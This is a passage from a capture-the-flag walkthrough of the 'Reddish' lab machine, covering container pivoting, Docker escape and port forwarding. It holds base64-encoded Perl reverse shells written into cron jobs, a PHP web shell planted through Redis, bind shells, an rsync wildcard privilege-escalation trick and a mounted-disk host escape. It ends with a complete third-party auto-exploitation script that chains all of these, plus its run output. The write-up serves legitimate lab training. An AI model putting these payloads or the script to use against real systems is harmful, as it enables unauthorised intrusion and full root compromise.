drwxr-xr-x 4,096 2020/07/25 20:16:01 rdb
drwx------ 4,096 2018/07/15 17:42:38 root
drwxr-xr-x 4,096 2020/07/25 14:50:43 run
drwxr-xr-x 4,096 2018/07/15 17:42:38 sbin
drwxr-xr-x 4,096 2018/07/15 17:42:38 srv
dr-xr-xr-x 0 2020/07/25 14:50:42 sys
drwxrwxrwt 4,096 2020/07/25 21:18:01 tmp
drwxr-xr-x 4,096 2018/07/15 17:42:39 usr
drwxr-xr-x 4,096 2018/07/15 17:42:39 var

I can write to the file system:

1
2
3
4
5
6
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt 4,096 2018/07/26 21:27:16 .
# rsync luci rsync://backup:873/src/tmp/
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt 4,096 2018/07/26 21:27:34 .
-rw-r--r-- 0 2018/07/26 21:27:34 luci

Shell via Cron

I’ll use the read / write access to verify that cron is enabled, and then write one to get shell.
There’s already a cron named clean in the folder, which is a good sign that cron is enabled:

1
2
3
4
# rsync rsync://backup:873/src/etc/cron.d/
drwxr-xr-x 4,096 2018/07/25 21:41:13 .
-rw-r--r-- 102 2015/06/11 10:23:47 .placeholder
-rw-r--r-- 29 2018/05/04 20:57:55 clean

I’ll write a cron file. First, a shell script that calls back to www on port 9010:

1
2
3
4
5
6
7
8
# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTcyLjIwLjAuMiI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > shell.sh
# cat shell.sh
perl -e 'use Socket;$i="172.20.0.2";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# rsync -a shell.sh rsync://backup:873/src/tmp/
# rsync rsync://backup:873/src/tmp/
drwxrwxrwt 4,096 2020/07/25 21:33:31 .
-rw-r--r-- 0 2020/07/25 21:24:23 luci
-rw-r--r-- 220 2020/07/25 21:33:08 shell.sh

Now write the cron:

1
2
# echo '* * * * * root sh /tmp/shell.sh' > shell
# rsync -a shell rsync://backup:873/src/etc/cron.d/

Rather than tunnel everything thing back to kali, I’ll just use socat to listen on www in this case. That gets me a callback as root on backup:

1
2
3
4
5
6
7
8
# /socat TCP-LISTEN:9010 STDOUT
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# hostname
backup

reddish Host

File System Access

backup is rather bare, other than the information I already had. However, one of the mis-configurations that can come with docker is running with –privileged. There’s some detail on slide 20 here. That flag provides access to the raw devices in /dev on the host.

on backup, I see a lot more, including the disks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# ls /dev
...
psaux
ptmx
pts
random
rfkill
rtc0
sda
sda1
sda2
sda3
sda4
sda5
sg0
sg1
shm
snapshot
snd
sr0
stderr
stdin
stdout
...

This raw device access is enough to provide file system access:

1
2
3
# mount /dev/sda1 /mnt
# ls /mnt/root
root.txt

grab the flag:

1
2
# cat /mnt/root/root.txt
50d0db644c8d5ff5312ef3d17c2ed205

root Shell

With write access to /etc/cron.d, I can get a root shell easily. And, reddish can talk directly home, so I don’t have to make tunnels, which is nice. Write a shell script:

1
2
3
# echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuMTAuMTQuOSI7JHA9OTAxMDtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTsnCg== | base64 -d > shell.sh
# cat /mnt/opt/shell.sh
perl -e 'use Socket;$i="10.10.14.9";$p=9010;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Now write the cron:

1
2
3
4
5
6
# cd /mnt/etc/cron.d/
# echo '* * * * * root sh /opt/shell.sh' > shell
# ls
mdadm
popularity-contest
shell

Catch the callback:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
root@kali:~# nc -lvp 9010
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9010
Ncat: Listening on 0.0.0.0:9010
Ncat: Connection from 10.10.10.94.
Ncat: Connection from 10.10.10.94:35526.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
root.txt
# ifconfig
/bin/sh: 4: ifconfig: not found
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:ef:a7 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.94/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
3: br-81dc9e600be9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:fe:5f:02:1f brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-81dc9e600be9
valid_lft forever preferred_lft forever
4: br-91c5803ee070: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:7e:9a:4c:f3 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.1/16 brd 172.20.255.255 scope global br-91c5803ee070
valid_lft forever preferred_lft forever
5: br-d4a52cd704d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:71:03:1d:13 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-d4a52cd704d0
valid_lft forever preferred_lft forever
6: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:47:f2:fd:fd brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
8: vethff25d9b@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default
link/ether 5e:d0:0b:6f:0d:6f brd ff:ff:ff:ff:ff:ff link-netnsid 3
10: veth2f1092e@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-81dc9e600be9 state UP group default
link/ether 6a:7e:bc:f7:0d:2e brd ff:ff:ff:ff:ff:ff link-netnsid 3
12: veth4ff04ec@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default
link/ether 32:d6:19:ae:75:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
14: veth2349c18@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default
link/ether 06:9f:60:e4:c1:cd brd ff:ff:ff:ff:ff:ff link-netnsid 0
16: veth3bff539@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default
link/ether 9a:c4:04:69:cd:5a brd ff:ff:ff:ff:ff:ff link-netnsid 2
18: veth01eea77@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default
link/ether d2:d8:e2:80:45:09 brd ff:ff:ff:ff:ff:ff link-netnsid 1
19: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
valid_lft forever preferred_lft forever
20: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000
link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff

what a great and complicated box!

Beyond Root

Docker Configuration

Once I have root, I like to go back and look at how things were configured. In this case, the docker configuration is interesting.

The docker configuration files are stored in /opt/reddish_composition/:

1
2
3
4
5
6
7
8
# cd /opt/reddish_composition/
# ls
apache
docker-compose.yml
multi-nodered
redis
rsync
www

docker-compose.yml shows how the machines are run, including the shared volume between redis and www, how the networks are laid out, and that backup is running in privileged mode (<– comments added by me):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# cat docker-compose.yml
version: '3'
services:
nodered:
build: ./multi-nodered
hostname: nodered
ports:
- "1880:1880"
networks:
- default
- internal-network
restart: always
redis:
build: ./redis
hostname: redis
volumes:
- ./www:/var/www/html
networks:
- internal-network
restart: always
www:
build: ./apache
hostname: www
volumes:
- ./www:/var/www/html
- /home:/home
networks:
- internal-network
- internal-network-2
restart: always
backup:
build: ./rsync
hostname: backup
volumes:
- ./rsync/www:/backup
networks:
- internal-network-2
restart: always
privileged: true
networks:
internal-network:
internal: true
internal-network-2:
internal: true

update picture of the docker network one last time:

Node-Red Collisions

When I first visit the node red site, what’s to keep me from running into other people and their flows? And, what was with the need to issue a POST request to get the url to the site? Turns out, those are related.

The code that’s running the NodeRed instance is in /node-red/multinodered.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# cat /opt/reddish_composition/multi-nodered/nodered/multinodered.js
var http = require('http');
var express = require("express");
var crypto = require("crypto");

var id_list = [];

function createNodeREDInstance(server, app, ip) {

var id = crypto.createHash('md5').update(ip).digest("hex");

if (id_list.indexOf(id) > -1) {
console.log("Instance already running:", id);
return id;
}

var RED = require("./red/red.js")();
//var id = crypto.randomBytes(16).toString('hex');


console.log("Creating new instance:", id);

// Create the settings object - see default settings.js file for other options
var settings = {
httpAdminRoot:"/red/"+id,
httpNodeRoot: "/api/"+id,
userDir:"./home/"+id,
functionGlobalContext: { } // enables global context
};

RED.init(server, settings);

// Serve the editor UI from /red
app.use(settings.httpAdminRoot, RED.httpAdmin);

// Serve the http nodes UI from /api
app.use(settings.httpNodeRoot, RED.httpNode);

RED.start();

id_list.push(id);

return id;
}

// Create an Express app
var app = express();

// Add a simple route for static content served from 'public'
app.use("/",express.static("public"));

app.post('/', function(req,res) {
var ip = (req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress).split(",")[0];

var id = createNodeREDInstance(server, app, ip);
res.status(200).send({"id": id, "ip": ip, 'path': "/red/{id}"});
});

// Create a server
var server = http.createServer(app);

server.listen(1880);

There’s no GET for this app, which explains the error. A POST will create a new NodeRed instance and return the id, and the id is what’s sent back to us.

Inside the createNodeREDInstance() function I see the id is just a hash of our ip (which works out really nice when multiple HTB players are trying to use this at the same time):

1
var id = crypto.createHash('md5').update(ip).digest("hex");

Creating Port Forwards with Dropbear

Setup

a dummy account on my kali box (named dummy). In /etc/passwd, the shell is set to /bin/false:

1
dummy:x:1001:1001::/home/dummy:/bin/false

That makes it much harder for someone who gets ahold of the key I’m about to create to do anything useful hacking into my host. If you try to ssh into box as dummy, it just closes:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali# ssh dummy@localhost
dummy@localhost's password:
Linux kali 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jan 17 06:28:18 2019 from 127.0.0.1
Connection to localhost closed.

use the -N flag to connect without a shell, and the -L, -R, -D flags to forward ports (check out Intro to SSH Tunneling for more details).

Build Dropbear

Dropbear is a statically compiled, relatively small ssh client that I will use to connect back to my kali box from nodered. I’ll grab the source from the website. I’ll copy the file to nodered using the file upload flow or the perl command to get a file over http:

1
2
3
4
5
6
7
# perl -e 'use File::Fetch; my $url = "http://10.10.14.9/dropbear-2018.76.tar.bz2"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'

# pwd
/tmp

# ls
dropbear-2018.76.tar.bz2

Open the archive with tar:

1
2
3
4
5
6
# tar xjvf dropbear-2018.76.tar.bz2                                                      
dropbear-2018.76/
dropbear-2018.76/termcodes.h
dropbear-2018.76/dbmulti.c
dropbear-2018.76/cli-runopts.c
...[snip]...

Now compile the software (the container has gcc and the minimum libraries to build this):

1
2
3
4
5
6
7
8
# cd dropbear-2018.76/                     
# ./configure && make
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
...[snip]...

Generate Key Pair

Next generate a key pair to use with dropbearkey. It’s a simple program with only a few options. use -t rsa to make an RSA keypair, and -f .k to name the key file .k:

1
2
3
4
5
# ./dropbearkey -t rsa -f .k
Generating 2048 bit rsa key, this may take a while...
Public key portion is:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFI9K2O4PVLSLLIJw2ExqYHtPUQTrcn+GKR3BRaD8Th+5CYIPMRQF8MK29tlgjdZh5MSf5RB4tsm523hMp6879tvi0Bzc0afZ8FKfaVjTwWsG/cbNFZzi4W5PpwsLkh9vbBgXhbPfdmMdz2uLZrsmPKVKXXkg/URz9vhiQelJAL0PcysIBh3c9CkJfNzzNJ2DHxY/OugnhQlObmLfOzkucP2DtTAZjYYCpc8cByzKS7vgo8rZLscf7QrN3LLKr8SFmjSnEcqxvIC1cVOpRju3kmfJxNY4ebcod1DaQtRYXC+K2byNwf5y3z3ahhW8dWJVLEcPH0bueuRVnYk3wfrjx root@nodered
Fingerprint: sha1!! 78:53:6e:77:d8:da:ef:43:a7:c8:97:de:3c:a0:c4:d4:80:7d:f3:ab

Now put this public key into the authorized key file for dummy on my kali box. While this key is in that file, anyone who has the private key (.k) can ssh into my box, so I’ll want to leave this in place only long enough to get the tunnels set up.

Create Tunnel

Now use DropBear’s dbclient to ssh back, creating a tunnel to access the web page on www:

1
# ./dbclient -i .k -f -N -R 8888:172.19.0.4:80 dummy@10.10.14.9

The options used are:

  • -i .k - Use the keyfile I generated earlier
  • -f - run ssh in the background
  • -N - Done request a shell or run and commands
  • -R 8888:172.19.0.4:80 - listen on port 8888 on my kali host, and forward and traffic to 172.19.0.4 port 80. It’s important to note that my dummy user doesn’t have the privilege necessary to listen on a low port, like 80.

Now can access the website on www:

python auto-pwn script

reference to this writeup link

awesome write up and python script, i Worship the author…

script in his github

autopwnreddish.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#!/usr/bin/env python2
# Author: Alamot
import json
import time
import uuid
import fcntl
import base64
import urllib
import random
import requests
from pwn import *


def get_ip_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15].encode())
)[20:24])


# context.log_level = 'debug'
LHOST = get_ip_address('tun0')
LPORT1 = "60000"
LPORT2 = str(random.randint(60003, 62535))
LPORT3 = str(random.randint(62535, 65535))
LPORT4 = "60001"
UUIDNAME = str(uuid.uuid4())[:8]
SOCAT_SRCPATH = "socat"
SOCAT_DSTPATH = "/var/tmp/socat" + UUIDNAME
SUBASH_PATH = "/var/tmp/" + UUIDNAME
CRONPL_PATH = "/tmp/" + UUIDNAME


def send_payloads():
session = requests.Session()

# Get id
p1 = log.progress("Getting our id")
headers = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Connection":"close","Accept-Language":"en","Accept":"*/*"}
try:
response = session.post("http://10.10.10.94:1880/", headers=headers)
if response.status_code != 200:
p1.failure("Status "+str(response.status_code))
sys.exit()
else:
uid = json_data = json.loads(response.text)["id"].strip()
p1.success("OK (id = " + uid + ")")
except requests.exceptions.RequestException as e:
p1.failure(str(e))
sys.exit()

# Load flows
p2 = log.progress("Loading node-red flows")
with open(SOCAT_SRCPATH, 'r') as f:
b64upload = base64.b64encode(f.read())
rawBody = "{\"flows\":[{\"id\":\"e97f052f.2f3d48\",\"type\":\"tab\",\"label\":\"Flow 1\"},{\"id\":\"6c08c84b.d9c578\",\"type\":\"inject\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"topic\":\"\",\"payload\":\"node -e '(function(){ var cp = require(\\\"child_process\\\"), sh = cp.spawn(\\\"/bin/sh\\\", [\\\"-c\\\", \\\"cat " + SOCAT_DSTPATH + ".b64 | base64 -d > " +SOCAT_DSTPATH + " && chmod +x " + SOCAT_DSTPATH + " && " + SOCAT_DSTPATH + " exec:/bin/bash,pty,rawer,echo=0,stderr,setsid,sigint tcp:" + LHOST + ":" + LPORT1 + "\\\"]); return /a/; })();'\",\"payloadType\":\"str\",\"repeat\":\"\",\"crontab\":\"\",\"once\":false,\"onceDelay\":0.1,\"x\":151,\"y\":88,\"wires\":[[\"d27da06a.44a1a\"]]},{\"id\":\"d27da06a.44a1a\",\"type\":\"exec\",\"z\":\"e97f052f.2f3d48\",\"command\":\"\",\"addpay\":true,\"append\":\"\",\"useSpawn\":\"false\",\"timer\":\"\",\"oldrc\":false,\"name\":\"\",\"x\":310,\"y\":80,\"wires\":[[],[],[]]},{\"id\":\"fae51292.d8e68\",\"type\":\"inject\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"topic\":\"\",\"payload\":\"" + b64upload +"\",\"payloadType\":\"str\",\"repeat\":\"\",\"crontab\":\"\",\"once\":false,\"onceDelay\":0.1,\"x\":113,\"y\":260,\"wires\":[[\"7e1e7cb5.664234\"]]},{\"id\":\"7e1e7cb5.664234\",\"type\":\"file\",\"z\":\"e97f052f.2f3d48\",\"name\":\"\",\"filename\":\"" + SOCAT_DSTPATH +".b64\",\"appendNewline\":false,\"createDir\":false,\"overwriteFile\":\"true\",\"x\":320,\"y\":260,\"wires\":[]}]}"
headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/"+uid+"/flows","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1","Content-Type":"application/json; charset=utf-8","Node-RED-Deployment-Type":"full"}
try:
response = session.post("http://10.10.10.94:1880/red/"+uid+"/flows", data=rawBody, headers=headers)
if response.status_code != 200:
p2.failure("Status "+str(response.status_code))
sys.exit()
else:
p2.success("OK")
except requests.exceptions.RequestException as e:
p2.failure(str(e))
sys.exit()

# Inject base64-encoded socat
p3 = log.progress("Injecting base64-encoded socat")
headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/"+uid+"/inject/fae51292.d8e68","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1"}
try:
response = session.post("http://10.10.10.94:1880/red/"+uid+"/inject/fae51292.d8e68", headers=headers)
if response.status_code != 200:
p3.failure("Status "+str(response.status_code))
sys.exit()
else:
p3.success("OK")
except requests.exceptions.RequestException as e:
p3.failure(str(e))
sys.exit()

# Inject nodejs reverse shell
p4 = log.progress("Injecting socat reverse shell via nodejs [" + LHOST + ":" + str(LPORT1) + "]")
headers = {"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0","Referer":"http://10.10.10.94:1880/red/" + uid + "/inject/6c08c84b.d9c578","Node-RED-API-Version":"v2","Connection":"close","Accept-Language":"en-US,en;q=0.5","DNT":"1"}
try:
response = session.post("http://10.10.10.94:1880/red/" + uid + "/inject/6c08c84b.d9c578", headers=headers)
if response.status_code != 200:
p4.failure("Status "+str(response.status_code))
sys.exit()
else:
p4.success("OK")
except requests.exceptions.RequestException as e:
p4.failure(str(e))
sys.exit()


print("What shell do you want?")
print("[1] root@nodered")
print("[2] www-data@www")
print("[3] root@www")
print("[4] root@backup")
print("[5] root@reddish")
print("[6] Exit")
response = None
while response not in ["1", "2", "3", "4", "5", "6"]:
response = raw_input("Please enter a number 1-6: ").strip()
if response == "6":
sys.exit()

try:
threading.Thread(target=send_payloads).start()
except Exception as e:
log.error(str(e))
socat = listen(LPORT1, bindaddr=LHOST, timeout=20).wait_for_connection()

if response == "1":
socat.interactive()
sys.exit()

with log.progress("Uploading " + UUIDNAME + ".php on the www container via redis") as p:
socat.sendline("/bin/echo -ne '*1\\r\\n$8\\r\\nFLUSHALL\\r\\n*3\\r\\n$3\\r\\nSET\\r\\n$1\\r\\n1\\r\\n$45\\r\\n<?php echo shell_exec($_GET[\"e\"].\" 2>&1\"); ?>\\r\\n*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$10\\r\\ndbfilename\\r\\n$12\\r\\n" + UUIDNAME + ".php\\r\\n*4\\r\\n$6\\r\\nCONFIG\\r\\n$3\\r\\nSET\\r\\n$3\\r\\ndir\\r\\n$46\\r\\n/var/www/html/8924d0549008565c554f8128cd11fda4\\r\\n*1\\r\\n$4\\r\\nSAVE\\r\\n' | " + SOCAT_DSTPATH + " - TCP:redis:6379")
socat.sendline("/bin/echo -ne 'GET /8924d0549008565c554f8128cd11fda4/" + UUIDNAME+ ".php?e=$(whoami)@$(hostname)END HTTP/1.1\\r\\nHost: nodered\\r\\nUser-agent: curl\\r\\n\\r\\n' | " + SOCAT_DSTPATH + " - TCP:www:80")
output = socat.recvuntil("www-data@www")
if "www-data@www" in output:
p.success("OK (user = www-data@www)")
else:
p.failure("FAIL")
sys.exit()

with log.progress("Sending perl bind shell [www-data@www:" + str(LPORT2) + "] via " + UUIDNAME + ".php & trying to connect") as p:
perl_payload = "perl -e 'use Socket;$p=" + str(LPORT2) +";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};'"
urled_perl_payload = urllib.quote_plus(perl_payload)
socat.sendline("/bin/echo -ne 'GET /8924d0549008565c554f8128cd11fda4/" + UUIDNAME + ".php?e=" + urled_perl_payload + " HTTP/1.1\\r\\nHost: nodered\\r\\nUser-Agent: curl\\r\\n\\r\\n' | " + SOCAT_DSTPATH + " - TCP:www:80")
socat.sendline(SOCAT_DSTPATH + " file:`tty`,echo=0,rawer TCP:www:" + str(LPORT2))
output = socat.recvuntil("shell", timeout=20)
if "shell" in output:
p.success("OK")
else:
p.failure("FAIL")
sys.exit()
socat.sendline("script --return -c '/bin/bash -i' /dev/null")
socat.clean(1)
socat.sendline("stty raw -echo")

if response == "2":
socat.interactive()
sys.exit()

with log.progress("Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run") as p:
socat.sendline('echo "/bin/cp /bin/bash ' + SUBASH_PATH + ';/bin/chmod 4755 ' + SUBASH_PATH + '" > "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/' + UUIDNAME + '.rdb"')
socat.sendline('touch "/var/www/html/f187a0ec71ce99642e4f0afbd441a68b/-e sh ' + UUIDNAME + '.rdb"')
count = 0
while True:
p.status(str(count))
sleep(1)
socat.sendline("[ -f " + SUBASH_PATH + " ] && echo 'OK' || echo 'NO'")
socat.recvuntil('$ ')
output = socat.recv(3).strip()
if "OK" in output:
p.success("OK")
break
count += 1
if count > 180:
p.failure("FAIL")
sys.exit()
socat.sendline(SUBASH_PATH + ' -i -p')
socat.sendline("cd /root")
socat.clean(1)

if response == "3":
socat.interactive()
sys.exit()

with log.progress("Sending a cronjob for bind shell [root@backup:" +str(LPORT3)+ "]. Please wait") as p:
socat.sendline("echo 'use Socket;$p=" + str(LPORT3) + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);close C){open(STDIN,\">&C\");open(STDOUT,\">&C\");open(STDERR,\">&C\");exec(\"/bin/bash -i\");};' > " + CRONPL_PATH + ".pl")
socat.sendline("echo '* * * * * root /usr/bin/perl " + CRONPL_PATH + ".pl' > " + CRONPL_PATH + "cronjob")
socat.sendline("rsync -a " + CRONPL_PATH + ".pl backup::src" + CRONPL_PATH + ".pl")
socat.sendline("rsync -a " + CRONPL_PATH + "cronjob backup::src/etc/cron.d/")
for i in range(62):
p.status(str(61 - i))
time.sleep(1)
socat.sendline("perl -MFcntl=F_SETFL,F_GETFL,O_NONBLOCK -MSocket '-e$0=perl;socket($c,AF_INET,SOCK_STREAM,0)&&connect($c,pack_sockaddr_in("+ str(LPORT3) + ",inet_aton(\"backup\")))||die$!;fcntl$_,F_SETFL,O_NONBLOCK|fcntl$_,F_GETFL,0 for@d=(*STDIN,$c),@e=($c,*STDOUT);L:for(0,1){sysread($d[$_],$f,8**5)||exit and$f[$_].=$f if vec$g,$_*($h=fileno$c),1;substr$f[$_],0,syswrite($e[$_],$f[$_],8**5),\"\";vec($g,$_*$h,1)=($i=length$f[$_]<8**5);vec($j,$_||$h,1)=!!$i}select$g,$j,$k,5;goto L'")
output = socat.recvuntil("shell", timeout=20)
if "shell" in output:
p.success("OK")
else:
p.failure("FAIL")
sys.exit()
socat.sendline("script --return -c '/bin/bash -i' /dev/null")
socat.clean(1)
socat.sendline("stty raw -echo")

if response == "4":
socat.interactive()
sys.exit()

with log.progress("Sending reverse shell cronjob [" + LHOST + ":" +str(LPORT4)+ "] for root@host. Please wait") as p:
socat.sendline("mkdir /mnt/sda1")
socat.sendline("mount /dev/sda1 /mnt/sda1")
socat.sendline("cat /mnt/sda1/root/root.txt")
socat.sendline("echo 'import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"" + LHOST + "\"," + str(LPORT4) + "));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv(\"HISTFILE\",\"/dev/null\");pty.spawn([\"/bin/bash\",\"-i\"]);s.close();exit();' > /mnt/sda1/tmp/" + UUIDNAME + ".py")
socat.sendline("echo '* * * * * root /usr/bin/python /tmp/" + UUIDNAME + ".py' > /mnt/sda1/etc/cron.d/" + UUIDNAME + "cronjob")
host_shell = listen(LPORT4, bindaddr=LHOST, timeout=65).wait_for_connection()
if host_shell.sock is None:
p.failure("FAIL")
sys.exit()
else:
p.success("OK")
host_shell.interactive()
sys.exit()

effect as below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py 
What shell do you want?
[1] root@nodered
[2] www-data@www
[3] root@www
[4] root@backup
[5] root@reddish
[6] Exit
Please enter a number 1-6: 1
[+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd)
[+] Trying to bind to 10.10.14.9 on port 60000: Done
[+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36186
[+] Loading node-red flows: OK
[+] Injecting base64-encoded socat: OK
[+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK
[*] Switching to interactive mode
root@nodered:/node-red# $ id
